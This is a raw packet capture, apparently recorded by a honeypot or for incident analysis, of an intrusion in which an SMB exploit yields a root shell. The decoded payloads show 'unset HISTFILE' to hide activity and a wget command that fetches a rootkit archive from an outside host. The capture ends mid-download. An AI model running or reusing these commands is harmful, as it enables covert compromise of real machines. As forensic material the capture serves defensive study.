0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:19.253965 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: . ack 3011 win 8688 <nop,nop,timestamp 8427862 8865292> (DF)
0x0000      4500 0034 2e52 4000 4006 db36 800a 097d  E..4.R@.@..6...}
0x0010      3e10 69a4 008b 855f 6f23 b7d3 69b2 88b1  >.i...._o#..i...
0x0020      8010 21f0 a3e2 0000 0101 080a 0080 9956  ..!............V
0x0030      0087 460c                                ..F.
11:41:19.253976 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: . ack 3011 win 8688 <nop,nop,timestamp 8427862 8865292> (DF)
0x0000      4500 0034 2e52 4000 4006 db36 800a 097d  E..4.R@.@..6...}
0x0010      3e10 69a4 008b 855f 6f23 b7d3 69b2 88b1  >.i...._o#..i...
0x0020      8010 21f0 a3e2 0000 0101 080a 0080 9956  ..!............V
0x0030      0087 460c                                ..F.
11:41:19.257324 XXX.XX.X.137.45295 > XX.XX.XXX.164.34148: S 1877850318:1877850318(0) ack 1766104216 win 5792 <mss 1460,sackOK,timestamp 8427862 8865292,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8564 6fed b8ce 6944 9c98  >.i....do...iD..
0x0020      a012 16a0 bac4 0000 0204 05b4 0402 080a  ................
0x0030      0080 9956 0087 460c 0103 0300            ...V..F.....
11:41:19.257331 XXX.XX.X.137.45295 > XX.XX.XXX.164.34148: S 1877850318:1877850318(0) ack 1766104216 win 5792 <mss 1460,sackOK,timestamp 8427862 8865292,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8564 6fed b8ce 6944 9c98  >.i....do...iD..
0x0020      a012 16a0 bac4 0000 0204 05b4 0402 080a  ................
0x0030      0080 9956 0087 460c 0103 0300            ...V..F.....
11:41:19.259884 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427863 8865292> (DF)
0x0000      4500 0034 2e53 4000 4006 db35 800a 097d  E..4.S@.@..5...}
0x0010      3e10 69a4 008b 855f 6f23 b7d3 69b2 8d01  >.i...._o#..i...
0x0020      8014 2d40 943d 0000 0101 080a 0080 9957  ..-@.=.........W
0x0030      0087 460c                                ..F.
11:41:19.259893 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427863 8865292> (DF)
0x0000      4500 0034 2e53 4000 4006 db35 800a 097d  E..4.S@.@..5...}
0x0010      3e10 69a4 008b 855f 6f23 b7d3 69b2 8d01  >.i...._o#..i...
0x0020      8014 2d40 943d 0000 0101 080a 0080 9957  ..-@.=.........W
0x0030      0087 460c                                ..F.
11:41:19.302117 XX.XX.XXX.164.34147 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865322 8427851> (DF)
0x0000      4500 0034 edb3 4000 2f06 2cd5 3e10 69a4  E..4..@./.,.>.i.
0x0010      800a 097d 8563 b0ef 693a a868 6f1c ef20  ...}.c..i:.ho...
0x0020      8010 16d0 a801 0000 0101 080a 0087 462a  ..............F*
0x0030      0080 994b                                ...K
11:41:19.302120 XX.XX.XXX.164.34147 > XXX.XX.X.137.45295: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 8865322 8427851> (DF)
0x0000      4500 0034 edb4 4000 2f06 2cd4 3e10 69a4  E..4..@./.,.>.i.
0x0010      800a 097d 8563 b0ef 693a a868 6f1c ef20  ...}.c..i:.ho...
0x0020      8011 16d0 a800 0000 0101 080a 0087 462a  ..............F*
0x0030      0080 994b                                ...K
11:41:19.309305 XXX.XX.X.137.45295 > XX.XX.XXX.164.34147: . ack 2 win 5792 <nop,nop,timestamp 8427868 8865322> (DF)
0x0000      4500 0034 767b 4000 4006 930d 800a 097d  E..4v{@.@......}
0x0010      3e10 69a4 b0ef 8563 6f1c ef20 693a a869  >.i....co...i:.i
0x0020      8010 16a0 a81f 0000 0101 080a 0080 995c  ...............\
0x0030      0087 462a                                ..F*
11:41:19.309312 XXX.XX.X.137.45295 > XX.XX.XXX.164.34147: . ack 2 win 5792 <nop,nop,timestamp 8427868 8865322> (DF)
0x0000      4500 0034 767b 4000 4006 930d 800a 097d  E..4v{@.@......}
0x0010      3e10 69a4 b0ef 8563 6f1c ef20 693a a869  >.i....co...i:.i
0x0020      8010 16a0 a81f 0000 0101 080a 0080 995c  ...............\
0x0030      0087 462a                                ..F*
11:41:19.314669 XXX.XX.X.137.45295 > XX.XX.XXX.164.34147: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427868 8865322> (DF)
0x0000      4500 0034 767c 4000 4006 930c 800a 097d  E..4v|@.@......}
0x0010      3e10 69a4 b0ef 8563 6f1c ef20 693a a869  >.i....co...i:.i
0x0020      8011 16a0 a81e 0000 0101 080a 0080 995c  ...............\
0x0030      0087 462a                                ..F*
11:41:19.314677 XXX.XX.X.137.45295 > XX.XX.XXX.164.34147: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427868 8865322> (DF)
0x0000      4500 0034 767c 4000 4006 930c 800a 097d  E..4v|@.@......}
0x0010      3e10 69a4 b0ef 8563 6f1c ef20 693a a869  >.i....co...i:.i
0x0020      8011 16a0 a81e 0000 0101 080a 0080 995c  ...............\
0x0030      0087 462a                                ..F*
11:41:19.324451 XX.XX.XXX.164.34145 > XXX.XX.X.137.45295: . ack 2 win 5840 <nop,nop,timestamp 8865333 8427853> (DF)
0x0000      4500 0034 0000 4000 2f06 1a89 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 8561 b0ef 6986 10a0 6fc1 7fa3  ...}.a..i...o...
0x0020      8010 16d0 ae4b 0000 0101 080a 0087 4635  .....K........F5
0x0030      0080 994d                                ...M
11:41:19.367222 XX.XX.XXX.164.34146 > XXX.XX.X.137.45295: . ack 2 win 5840 <nop,nop,timestamp 8865355 8427857> (DF)
0x0000      4500 0034 0000 4000 2f06 1a89 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 8562 b0ef 69bb 67ca 6f3b dcee  ...}.b..i.g.o;..
0x0020      8010 16d0 fa0b 0000 0101 080a 0087 464b  ..............FK
0x0030      0080 9951                                ...Q
11:41:19.421086 XX.XX.XXX.164.34148 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865382 8427862> (DF)
0x0000      4500 0034 da9c 4000 2f06 3fec 3e10 69a4  E..4..@./.?.>.i.
0x0010      800a 097d 8564 b0ef 6944 9c98 6fed b8cf  ...}.d..iD..o...
0x0020      8010 16d0 e8ff 0000 0101 080a 0087 4666  ..............Ff
0x0030      0080 9956                                ...V
11:41:19.421088 XX.XX.XXX.164.34148 > XXX.XX.X.137.45295: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 8865382 8427862> (DF)
0x0000      4500 0034 da9d 4000 2f06 3feb 3e10 69a4  E..4..@./.?.>.i.
0x0010      800a 097d 8564 b0ef 6944 9c98 6fed b8cf  ...}.d..iD..o...
0x0020      8011 16d0 e8fe 0000 0101 080a 0087 4666  ..............Ff
0x0030      0080 9956                                ...V
11:41:19.421089 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: S 1761870063:1761870063(0) win 5840 <mss 1460,sackOK,timestamp 8865382 0,nop,wscale 0> (DF)
0x0000      4500 003c 4689 4000 2f06 d3f7 3e10 69a4  E..<F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 00ef 0000 0000  ...}.e..i.......
0x0020      a002 16d0 18c6 0000 0204 05b4 0402 080a  ................
0x0030      0087 4666 0000 0000 0103 0300            ..Ff........
11:41:19.422117 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: S 1875904361:1875904361(0) ack 1761870064 win 5792 <mss 1460,sackOK,timestamp 8427879 8865382,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8565 6fd0 0769 6904 00f0  >.i....eo..ii...
0x0020      a012 16a0 07c4 0000 0204 05b4 0402 080a  ................
0x0030      0080 9967 0087 4666 0103 0300            ...g..Ff....
11:41:19.422124 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: S 1875904361:1875904361(0) ack 1761870064 win 5792 <mss 1460,sackOK,timestamp 8427879 8865382,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8565 6fd0 0769 6904 00f0  >.i....eo..ii...
0x0020      a012 16a0 07c4 0000 0204 05b4 0402 080a  ................
0x0030      0080 9967 0087 4666 0103 0300            ...g..Ff....
11:41:19.429423 XXX.XX.X.137.45295 > XX.XX.XXX.164.34148: . ack 2 win 5792 <nop,nop,timestamp 8427880 8865382> (DF)
0x0000      4500 0034 21a8 4000 4006 e7e0 800a 097d  E..4!.@.@......}
0x0010      3e10 69a4 b0ef 8564 6fed b8cf 6944 9c99  >.i....do...iD..
0x0020      8010 16a0 e91c 0000 0101 080a 0080 9968  ...............h
0x0030      0087 4666                                ..Ff
11:41:19.429429 XXX.XX.X.137.45295 > XX.XX.XXX.164.34148: . ack 2 win 5792 <nop,nop,timestamp 8427880 8865382> (DF)
0x0000      4500 0034 21a8 4000 4006 e7e0 800a 097d  E..4!.@.@......}
0x0010      3e10 69a4 b0ef 8564 6fed b8cf 6944 9c99  >.i....do...iD..
0x0020      8010 16a0 e91c 0000 0101 080a 0080 9968  ...............h
0x0030      0087 4666                                ..Ff
11:41:19.433875 XXX.XX.X.137.45295 > XX.XX.XXX.164.34148: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427880 8865382> (DF)
0x0000      4500 0034 21a9 4000 4006 e7df 800a 097d  E..4!.@.@......}
0x0010      3e10 69a4 b0ef 8564 6fed b8cf 6944 9c99  >.i....do...iD..
0x0020      8011 16a0 e91b 0000 0101 080a 0080 9968  ...............h
0x0030      0087 4666                                ..Ff
11:41:19.433879 XXX.XX.X.137.45295 > XX.XX.XXX.164.34148: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427880 8865382> (DF)
0x0000      4500 0034 21a9 4000 4006 e7df 800a 097d  E..4!.@.@......}
0x0010      3e10 69a4 b0ef 8564 6fed b8cf 6944 9c99  >.i....do...iD..
0x0020      8011 16a0 e91b 0000 0101 080a 0080 9968  ...............h
0x0030      0087 4666                                ..Ff
11:41:19.478289 XX.XX.XXX.164.34147 > XXX.XX.X.137.45295: . ack 2 win 5840 <nop,nop,timestamp 8865411 8427868> (DF)
0x0000      4500 0034 0000 4000 2f06 1a89 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 8563 b0ef 693a a869 6f1c ef21  ...}.c..i:.io..!
0x0020      8010 16d0 a795 0000 0101 080a 0087 4683  ..............F.
0x0030      0080 995c                                ...\
11:41:19.583479 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865466 8427879> (DF)
0x0000      4500 0034 468a 4000 2f06 d3fe 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 00f0 6fd0 076a  ...}.e..i...o..j
0x0020      8010 16d0 3605 0000 0101 080a 0087 46ba  ....6.........F.
0x0030      0080 9967                                ...g
11:41:19.583481 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: P 1:69(68) ack 1 win 5840 <nop,nop,timestamp 8865466 8427879> (DF)
0x0000      4500 0078 468b 4000 2f06 d3b9 3e10 69a4  E..xF.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 00f0 6fd0 076a  ...}.e..i...o..j
0x0020      8018 16d0 8605 0000 0101 080a 0087 46ba  ..............F.
0x0030      0080 9967 756e 7365 7420 4849 5354 4649  ...gunset.HISTFI
0x0040      4c45 3b20 6563 686f 2022 776f 6f6f 6f6f  LE;.echo."wooooo
0x0050      7421 206b 6861 3073 206f 776e 7320 7520  t!.kha0s.owns.u.
0x0060      3a29 223b 756e 616d 6520 2d61 3b69 643b  :)";uname.-a;id;
0x0070      7570 7469 6d65 3b0a                      uptime;.
11:41:19.584636 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 69 win 5792 <nop,nop,timestamp 8427895 8865466> (DF)
0x0000      4500 0034 9e1d 4000 4006 6b6b 800a 097d  E..4..@.@.kk...}
0x0010      3e10 69a4 b0ef 8565 6fd0 076a 6904 0134  >.i....eo..ji..4
0x0020      8010 16a0 35e1 0000 0101 080a 0080 9977  ....5..........w
0x0030      0087 46ba                                ..F.
11:41:19.584644 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 69 win 5792 <nop,nop,timestamp 8427895 8865466> (DF)
0x0000      4500 0034 9e1d 4000 4006 6b6b 800a 097d  E..4..@.@.kk...}
0x0010      3e10 69a4 b0ef 8565 6fd0 076a 6904 0134  >.i....eo..ji..4
0x0020      8010 16a0 35e1 0000 0101 080a 0080 9977  ....5..........w
0x0030      0087 46ba                                ..F.
11:41:19.594333 XX.XX.XXX.164.34148 > XXX.XX.X.137.45295: . ack 2 win 5840 <nop,nop,timestamp 8865471 8427880> (DF)
0x0000      4500 0034 0000 4000 2f06 1a89 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 8564 b0ef 6944 9c99 6fed b8d0  ...}.d..iD..o...
0x0020      8010 16d0 e892 0000 0101 080a 0087 46bf  ..............F.
0x0030      0080 9968                                ...h
 

smb exploit code works here!!!

11:41:19.622823 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1:26(25) ack 69 win 5792 <nop,nop,timestamp 8427899 8865466> (DF)
0x0000      4500 004d 9e1e 4000 4006 6b51 800a 097d  E..M..@.@.kQ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 076a 6904 0134  >.i....eo..ji..4
0x0020      8018 16a0 edc4 0000 0101 080a 0080 997b  ...............{
0x0030      0087 46ba 776f 6f6f 6f6f 7421 206b 6861  ..F.wooooot!.kha
0x0040      3073 206f 776e 7320 7520 3a29 0a         0s.owns.u.:).
11:41:19.622829 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 1:26(25) ack 69 win 5792 <nop,nop,timestamp 8427899 8865466> (DF)
0x0000      4500 004d 9e1e 4000 4006 6b51 800a 097d  E..M..@.@.kQ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 076a 6904 0134  >.i....eo..ji..4
0x0020      8018 16a0 edc4 0000 0101 080a 0080 997b  ...............{
0x0030      0087 46ba 776f 6f6f 6f6f 7421 206b 6861  ..F.wooooot!.kha
0x0040      3073 206f 776e 7320 7520 3a29 0a         0s.owns.u.:).
11:41:19.784919 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 26 win 5840 <nop,nop,timestamp 8865568 8427899> (DF)
0x0000      4500 0034 468c 4000 2f06 d3fc 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0134 6fd0 0783  ...}.e..i..4o...
0x0020      8010 16d0 352e 0000 0101 080a 0087 4720  ....5.........G.
0x0030      0080 997b                                ...{
11:41:19.785400 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 26:195(169) ack 69 win 5792 <nop,nop,timestamp 8427915 8865568> (DF)
0x0000      4500 00dd 9e1f 4000 4006 6ac0 800a 097d  E.....@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0783 6904 0134  >.i....eo...i..4
0x0020      8018 16a0 aa95 0000 0101 080a 0080 998b  ................
0x0030      0087 4720 4c69 6e75 7820 6361 6972 6f31  ..G.Linux.cairo1
0x0040      2032 2e34 2e37 2d31 3020 2331 2054 6875  .2.4.7-10.#1.Thu
0x0050      2053 6570 2036 2031 373a 3237 3a32 3720  .Sep.6.17:27:27.
0x0060      4544 5420 3230 3031 2069 3638 3620 756e  EDT.2001.i686.un
0x0070      6b6e 6f77 6e0a 7569 643d 3028 726f 6f74  known.uid=0(root
0x0080      2920 6769 643d 3028 726f 6f74 2920 6772  ).gid=0(root).gr
0x0090      6f75 7073 3d39 3928 6e6f 626f 6479 290a  oups=99(nobody).
0x00a0      2020 363a 3431 616d 2020 7570 2032 333a  ..6:41am..up.23:
0x00b0      3234 2c20 2031 2075 7365 722c 2020 6c6f  24,..1.user,..lo
0x00c0      6164 2061 7665 7261 6765 3a20 302e 3030  ad.average:.0.00
0x00d0      2c20 302e 3030 2c20 302e 3030 0a         ,.0.00,.0.00.
11:41:19.785405 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 26:195(169) ack 69 win 5792 <nop,nop,timestamp 8427915 8865568> (DF)
0x0000      4500 00dd 9e1f 4000 4006 6ac0 800a 097d  E.....@.@.j....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0783 6904 0134  >.i....eo...i..4
0x0020      8018 16a0 aa95 0000 0101 080a 0080 998b  ................
0x0030      0087 4720 4c69 6e75 7820 6361 6972 6f31  ..G.Linux.cairo1
0x0040      2032 2e34 2e37 2d31 3020 2331 2054 6875  .2.4.7-10.#1.Thu
0x0050      2053 6570 2036 2031 373a 3237 3a32 3720  .Sep.6.17:27:27.
0x0060      4544 5420 3230 3031 2069 3638 3620 756e  EDT.2001.i686.un
0x0070      6b6e 6f77 6e0a 7569 643d 3028 726f 6f74  known.uid=0(root
0x0080      2920 6769 643d 3028 726f 6f74 2920 6772  ).gid=0(root).gr
0x0090      6f75 7073 3d39 3928 6e6f 626f 6479 290a  oups=99(nobody).
0x00a0      2020 363a 3431 616d 2020 7570 2032 333a  ..6:41am..up.23:
0x00b0      3234 2c20 2031 2075 7365 722c 2020 6c6f  24,..1.user,..lo
0x00c0      6164 2061 7665 7261 6765 3a20 302e 3030  ad.average:.0.00
0x00d0      2c20 302e 3030 2c20 302e 3030 0a         ,.0.00,.0.00.
11:41:19.947240 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 195 win 6432 <nop,nop,timestamp 8865652 8427915> (DF)
0x0000      4500 0034 468d 4000 2f06 d3fb 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0134 6fd0 082c  ...}.e..i..4o..,
0x0020      8010 1920 31d1 0000 0101 080a 0087 4774  ....1.........Gt
0x0030      0080 998b                                ....
 

Rootkit installation codes!!!

11:41:34.416258 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: P 69:96(27) ack 195 win 6432 <nop,nop,timestamp 8873060 8427915> (DF)
0x0000      4500 004f 468e 4000 2f06 d3df 3e10 69a4  E..OF.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 0134 6fd0 082c  ...}.e..i..4o..,
0x0020      8018 1920 4a92 0000 0101 080a 0087 6464  ....J.........dd
0x0030      0080 998b 7767 6574 2064 6a76 6c61 642e  ....wget.djvlad.
0x0040      676f 2e72 6f2f 726b 7a7a 2e74 677a 0a    go.ro/rkzz.tgz.
11:41:34.417299 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 96 win 5792 <nop,nop,timestamp 8429375 8873060> (DF)
0x0000      4500 0034 9e20 4000 4006 6b68 800a 097d  E..4..@.@.kh...}
0x0010      3e10 69a4 b0ef 8565 6fd0 082c 6904 014f  >.i....eo..,i..O
0x0020      8010 16a0 1192 0000 0101 080a 0080 9f3f  ...............?
0x0030      0087 6464                                ..dd
11:41:34.417307 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: . ack 96 win 5792 <nop,nop,timestamp 8429375 8873060> (DF)
0x0000      4500 0034 9e20 4000 4006 6b68 800a 097d  E..4..@.@.kh...}
0x0010      3e10 69a4 b0ef 8565 6fd0 082c 6904 014f  >.i....eo..,i..O
0x0020      8010 16a0 1192 0000 0101 080a 0080 9f3f  ...............?
0x0030      0087 6464                                ..dd
11:41:34.446736 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 195:263(68) ack 96 win 5792 <nop,nop,timestamp 8429378 8873060> (DF)
0x0000      4500 0078 9e21 4000 4006 6b23 800a 097d  E..x.!@.@.k#...}
0x0010      3e10 69a4 b0ef 8565 6fd0 082c 6904 014f  >.i....eo..,i..O
0x0020      8018 16a0 0c50 0000 0101 080a 0080 9f42  .....P.........B
0x0030      0087 6464 2d2d 3036 3a34 313a 3332 2d2d  ..dd--06:41:32--
0x0040      2020 6874 7470 3a2f 2f64 6a76 6c61 642e  ..http://djvlad.
0x0050      676f 2e72 6f2f 726b 7a7a 2e74 677a 0a20  go.ro/rkzz.tgz..
0x0060      2020 2020 2020 2020 2020 3d3e 2060 726b  ..........=>.`rk
0x0070      7a7a 2e74 677a 270a                      zz.tgz'.
11:41:34.446744 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 195:263(68) ack 96 win 5792 <nop,nop,timestamp 8429378 8873060> (DF)
0x0000      4500 0078 9e21 4000 4006 6b23 800a 097d  E..x.!@.@.k#...}
0x0010      3e10 69a4 b0ef 8565 6fd0 082c 6904 014f  >.i....eo..,i..O
0x0020      8018 16a0 0c50 0000 0101 080a 0080 9f42  .....P.........B
0x0030      0087 6464 2d2d 3036 3a34 313a 3332 2d2d  ..dd--06:41:32--
0x0040      2020 6874 7470 3a2f 2f64 6a76 6c61 642e  ..http://djvlad.
0x0050      676f 2e72 6f2f 726b 7a7a 2e74 677a 0a20  go.ro/rkzz.tgz..
0x0060      2020 2020 2020 2020 2020 3d3e 2060 726b  ..........=>.`rk
0x0070      7a7a 2e74 677a 270a                      zz.tgz'.
11:41:34.607697 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 263 win 6432 <nop,nop,timestamp 8873159 8429378> (DF)
0x0000      4500 0034 468f 4000 2f06 d3f9 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0870  ...}.e..i..Oo..p
0x0020      8010 1920 0e68 0000 0101 080a 0087 64c7  .....h........d.
0x0030      0080 9f42                                ...B
11:41:34.610165 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 263:296(33) ack 96 win 5792 <nop,nop,timestamp 8429394 8873159> (DF)
0x0000      4500 0055 9e22 4000 4006 6b45 800a 097d  E..U."@.@.kE...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0870 6904 014f  >.i....eo..pi..O
0x0020      8018 16a0 8233 0000 0101 080a 0080 9f52  .....3.........R
0x0030      0087 64c7 436f 6e6e 6563 7469 6e67 2074  ..d.Connecting.t
0x0040      6f20 646a 766c 6164 2e67 6f2e 726f 3a38  o.djvlad.go.ro:8
0x0050      302e 2e2e 20                             0....
11:41:34.610179 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 263:296(33) ack 96 win 5792 <nop,nop,timestamp 8429394 8873159> (DF)
0x0000      4500 0055 9e22 4000 4006 6b45 800a 097d  E..U."@.@.kE...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0870 6904 014f  >.i....eo..pi..O
0x0020      8018 16a0 8233 0000 0101 080a 0080 9f52  .....3.........R
0x0030      0087 64c7 436f 6e6e 6563 7469 6e67 2074  ..d.Connecting.t
0x0040      6f20 646a 766c 6164 2e67 6f2e 726f 3a38  o.djvlad.go.ro:8
0x0050      302e 2e2e 20                             0....
11:41:34.773049 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 296 win 6432 <nop,nop,timestamp 8873243 8429394> (DF)
0x0000      4500 0034 4690 4000 2f06 d3f8 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0891  ...}.e..i..Oo...
0x0020      8010 1920 0de3 0000 0101 080a 0087 651b  ..............e.
0x0030      0080 9f52                                ...R
11:41:35.039049 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 296:307(11) ack 96 win 5792 <nop,nop,timestamp 8429437 8873243> (DF)
0x0000      4500 003f 9e23 4000 4006 6b5a 800a 097d  E..?.#@.@.kZ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0891 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 f65c 0000 0101 080a 0080 9f7d  .....\.........}
0x0030      0087 651b 636f 6e6e 6563 7465 6421 0a    ..e.connected!.
11:41:35.039062 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 296:307(11) ack 96 win 5792 <nop,nop,timestamp 8429437 8873243> (DF)
0x0000      4500 003f 9e23 4000 4006 6b5a 800a 097d  E..?.#@.@.kZ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0891 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 f65c 0000 0101 080a 0080 9f7d  .....\.........}
0x0030      0087 651b 636f 6e6e 6563 7465 6421 0a    ..e.connected!.
11:41:35.200443 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 307 win 6432 <nop,nop,timestamp 8873463 8429437> (DF)
0x0000      4500 0034 4691 4000 2f06 d3f7 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 089c  ...}.e..i..Oo...
0x0020      8010 1920 0cd1 0000 0101 080a 0087 65f7  ..............e.
0x0030      0080 9f7d                                ...}
11:41:35.200723 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 307:347(40) ack 96 win 5792 <nop,nop,timestamp 8429453 8873463> (DF)
0x0000      4500 005c 9e24 4000 4006 6b3c 800a 097d  E..\.$@.@.k<...}
0x0010      3e10 69a4 b0ef 8565 6fd0 089c 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 12e3 0000 0101 080a 0080 9f8d  ................
0x0030      0087 65f7 4854 5450 2072 6571 7565 7374  ..e.HTTP.request
0x0040      2073 656e 742c 2061 7761 6974 696e 6720  .sent,.awaiting.
0x0050      7265 7370 6f6e 7365 2e2e 2e20            response....
11:41:35.200728 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 307:347(40) ack 96 win 5792 <nop,nop,timestamp 8429453 8873463> (DF)
0x0000      4500 005c 9e24 4000 4006 6b3c 800a 097d  E..\.$@.@.k<...}
0x0010      3e10 69a4 b0ef 8565 6fd0 089c 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 12e3 0000 0101 080a 0080 9f8d  ................
0x0030      0087 65f7 4854 5450 2072 6571 7565 7374  ..e.HTTP.request
0x0040      2073 656e 742c 2061 7761 6974 696e 6720  .sent,.awaiting.
0x0050      7265 7370 6f6e 7365 2e2e 2e20            response....
11:41:35.363439 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 347 win 6432 <nop,nop,timestamp 8873546 8429453> (DF)
0x0000      4500 0034 4692 4000 2f06 d3f6 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 08c4  ...}.e..i..Oo...
0x0020      8010 1920 0c46 0000 0101 080a 0087 664a  .....F........fJ
0x0030      0080 9f8d                                ....
11:41:35.428063 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 347:353(6) ack 96 win 5792 <nop,nop,timestamp 8429476 8873546> (DF)
